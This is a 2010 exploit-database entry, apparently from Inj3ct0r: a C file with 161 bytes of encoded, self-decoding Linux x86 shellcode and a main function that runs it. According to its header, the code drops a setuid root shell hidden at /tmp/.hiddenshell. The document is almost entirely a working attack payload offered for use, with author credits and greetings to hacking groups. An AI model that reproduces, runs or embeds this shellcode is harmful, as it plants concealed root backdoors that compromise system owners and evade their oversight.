161 bytes small polymorphic Linux / x86 shellcode that drops a suid root shell in /tmp/.hiddenshell.
4085c1340e78d7095fc1d23337ee35a69a8730c3387e8768584089a1e543f00d
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title : Drop suid root shell in /tmp/.hiddenshell linux polymorphic shellcode .
Name : 161 bytes Drop suid shell root in /tmp/.hiddenshell linux polymorphic shellcode
Date : Sat Jun 17 21:27:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x89\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5"
"\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87"
"\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02"
"\xb5\x96\x1d\x29\x34\x34\x34\x98\xa5\x55\x64\x97\x9e\xa3\x64"
"\x64\xa8\x9d\x55\x64\xa9\xa2\xa5\x64\x63\x9d\x9e\x99\x99\x9a"
"\xa3\xa8\x9d\x9a\xa1\xa1\x70\x55\x98\x9d\xa4\xac\xa3\x55\xa7"
"\xa4\xa4\xa9\x6f\xa7\xa4\xa4\xa9\x55\x64\xa9\xa2\xa5\x64\x63"
"\x9d\x9e\x99\x99\x9a\xa3\xa8\x9d\x9a\xa1\xa1\x70\x55\x98\x9d"
"\xa2\xa4\x99\x55\x69\x6c\x6a\x6a\x55\x64\xa9\xa2\xa5\x64\x63"
"\x9d\x9e\x99\x99\x9a\xa3\xa8\x9d\x9a\xa1\xa1";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}